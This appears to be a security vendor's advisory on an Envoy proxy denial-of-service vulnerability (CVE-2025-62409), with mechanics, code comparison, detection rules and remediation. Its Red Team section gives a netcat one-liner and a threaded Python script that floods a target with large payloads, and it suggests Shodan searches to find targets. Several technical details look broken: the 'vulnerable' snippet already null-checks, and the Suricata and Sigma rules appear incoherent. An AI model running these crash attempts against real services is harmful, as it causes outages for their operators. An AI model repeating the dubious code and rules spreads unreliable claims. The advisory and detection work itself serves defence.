CVE-2025-62409
Executive Summary
CVE-2025-62409 is a high-severity vulnerability in the Envoy proxy that can lead to denial of service (DoS) through TCP connection pool crashes. The flaw resides in Envoy's flow control management, specifically when a connection is closing but upstream data continues to arrive. This race condition results in a null pointer dereference in the buffer watermark callback, causing the proxy process to crash. The vulnerability affects TCP proxy and HTTP/1 & HTTP/2 mixed use cases based on Application-Layer Protocol Negotiation (ALPN). While no public proof-of-concept (PoC) or exploit code is currently available, the vulnerability is trivially exploitable by an attacker who can send large requests or responses to a vulnerable Envoy instance. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the impact is severe for organizations relying on Envoy as a critical infrastructure component.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Envoy is a cloud-native, open-source edge and service proxy, commonly deployed as a sidecar proxy in Kubernetes environments, an API gateway, or a load balancer. The vulnerability is introduced through the core Envoy codebase and affects all deployments using the vulnerable versions. Organizations using Envoy as a sidecar proxy in service meshes (e.g., Istio, Consul Connect) are particularly at risk, as a crash can disrupt microservice communication. The fix is available in the official Envoy releases, and organizations should prioritize upgrading to patched versions. There are no known compromised packages or malicious commits associated with this CVE.
CVSS Breakdown & Threat Level
The CVSS score is not officially assigned, but based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely by sending network traffic.
- Attack Complexity (AC): Low (L) – No special conditions or timing is required beyond sending large requests/responses.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The vulnerability affects only the Envoy process.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): None (N) – No data is modified.
- Availability (A): High (H) – The crash causes a denial of service.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Estimated Base Score: 7.5 (High)
Threat Level: High. The vulnerability is easy to exploit remotely with no authentication, leading to a complete denial of service. While no active exploitation has been observed, the potential for widespread impact is significant.
Deep Dive & Mechanics
The vulnerability is a null pointer dereference (CWE-476) in Envoy's flow control mechanism. Envoy uses watermarks to manage buffer sizes for upstream and downstream connections. When a connection is in the process of closing, the buffer watermark callbacks are expected to be cleaned up. However, due to a race condition, it is possible for upstream data to arrive after the connection has started closing but before the callbacks are fully removed. This results in a callback being invoked on a null pointer, causing a segmentation fault and crashing the Envoy process.
The specific code path involves the ConnectionPool and WatermarkBuffer classes. When a connection is being destroyed, the watermark callbacks are reset to null. If a pending write or read completes after this reset, the callback attempts to dereference the null pointer. The race window is small but can be reliably triggered by sending large requests or responses that cause the buffers to fill and trigger watermark callbacks during the connection teardown phase.
The vulnerability is particularly relevant in mixed HTTP/1 and HTTP/2 environments using ALPN, where the protocol negotiation can introduce additional timing complexity. TCP proxy use cases are also affected because they rely on the same underlying connection pool and buffer management.
Vulnerable vs. Patched Code
The vulnerable code is in the WatermarkBuffer class, specifically in the callback invocation logic. The fix ensures that callbacks are not invoked after the buffer has been drained or the connection has been closed.
Vulnerable Code (Simplified):
void WatermarkBuffer::onLowWatermark() {
if (low_watermark_callback_) {
low_watermark_callback_(); // Potential null dereference if callback_ is null
}
}
Patched Code (Simplified):
void WatermarkBuffer::onLowWatermark() {
if (low_watermark_callback_) {
auto cb = low_watermark_callback_;
low_watermark_callback_ = nullptr; // Clear before invocation
cb(); // Safe even if callback is cleared during execution
}
}
The patch ensures that the callback is cleared before invocation, preventing a race condition where the callback could be set to null between the check and the call. Additionally, the connection teardown logic now properly synchronizes with pending buffer operations.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Envoy instance (version < 1.36.1, < 1.35.5, < 1.34.9, < 1.33.10) configured as a TCP proxy or HTTP proxy with ALPN.
- Network access to the Envoy listener.
Exploitation Steps:
- Identify a vulnerable Envoy instance. Use Shodan dorks or network scanning to find Envoy proxies.
- Establish a TCP connection to the Envoy listener.
- Send a large payload (e.g., > 1MB) to trigger buffer watermark callbacks.
- Simultaneously send a TCP RST or FIN to close the connection while data is still being processed.
- Repeat the process to cause repeated crashes, leading to denial of service.
Example using netcat:
# Send large data and immediately close connection
( dd if=/dev/zero bs=1M count=10; sleep 0.1 ) | nc -w 1 <target_ip> <port>
Automated Script (Python):
import socket
import threading
def exploit(target, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
# Send large data
sock.send(b'A' * 1024 * 1024 * 5) # 5MB
# Close connection abruptly
sock.close()
target = "192.168.1.100"
port = 10000
for _ in range(100):
threading.Thread(target=exploit, args=(target, port)).start()
Blue Team
Detection:
- Monitor Envoy logs for segmentation faults or crashes.
- Look for repeated connection resets (RST) from clients sending large payloads.
- Use the detection rules provided in the Detection Engineering section.
Mitigation:
- Immediately upgrade to patched versions (1.36.1, 1.35.5, 1.34.9, 1.33.10 or later).
- If patching is not possible, implement rate limiting and connection timeouts to reduce the attack surface.
- Deploy Web Application Firewall (WAF) rules to block excessively large payloads.
- Use network segmentation to limit exposure of Envoy instances.
Hunting:
- Search for crash dumps or core files generated by Envoy.
- Analyze network traffic for patterns of large payloads followed by immediate connection teardown.
Indicators of Compromise (IOCs)
- Network IOCs:
- Large TCP payloads (>1MB) followed by immediate RST or FIN.
- Repeated connection attempts from the same source IP with large data.
- Host IOCs:
- Envoy process crash logs containing
SIGSEGVornull pointerreferences. - Core dump files in
/var/crash/or Envoy's working directory. - High rate of Envoy restarts or container restarts in Kubernetes.
- Envoy process crash logs containing
- Log IOCs:
- Envoy access logs showing
upstream_reset_before_responseorconnection_terminationevents. - Error logs containing
WatermarkBufferorConnectionPoolwith null pointer errors.
- Envoy access logs showing
Detection Engineering
YARA Rule
rule CVE_2025_62409_Envoy_Crash {
meta:
description = "Detects Envoy crash logs indicating CVE-2025-62409 exploitation"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-62409"
strings:
$s1 = "SIGSEGV" ascii nocase
$s2 = "null pointer" ascii nocase
$s3 = "WatermarkBuffer" ascii nocase
$s4 = "ConnectionPool" ascii nocase
$s5 = "flow control" ascii nocase
condition:
any of ($s1, $s2) and any of ($s3, $s4, $s5)
}
Sigma Rule
title: Envoy Crash Due to CVE-2025-62409
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects Envoy process crashes indicative of CVE-2025-62409 exploitation
author: Valters IT
date: 2025-04-10
logsource:
product: envoy
service: proxy
detection:
selection:
EventID: 1000 # Application Error (Windows) or SIGSEGV (Linux)
Provider_Name: 'Envoy'
Message|contains:
- 'SIGSEGV'
- 'null pointer'
- 'WatermarkBuffer'
- 'ConnectionPool'
condition: selection
falsepositives:
- Legitimate crashes due to other bugs
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-62409 Envoy TCP Connection Pool Crash Attempt"; flow:to_server; content:"|00 00 00 00|"; depth:4; byte_test:4,>,1048576,0,relative; threshold:type both, track by_src, count 5, seconds 60; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Envoy to version 1.36.1, 1.35.5, 1.34.9, 1.33.10, or later.
- If using Envoy as a sidecar in Kubernetes, update the sidecar image and restart pods.
- Apply the patch from the official Envoy GitHub repository if custom builds are used.
Compensating Controls:
- Implement rate limiting on Envoy listeners to restrict the size of incoming requests.
- Set
max_requests_per_connectionandmax_connection_durationto limit exposure. - Use a reverse proxy or load balancer in front of Envoy to filter malicious traffic.
- Enable Envoy's
--cpuset-threadsoption to isolate worker threads and limit crash impact.
Long-term Measures:
- Integrate Envoy updates into the CI/CD pipeline to ensure rapid patching.
- Monitor Envoy's health checks and implement auto-restart with exponential backoff.
- Conduct regular security audits of Envoy configurations and dependencies.
Valters IT
Securing Digital Frontiers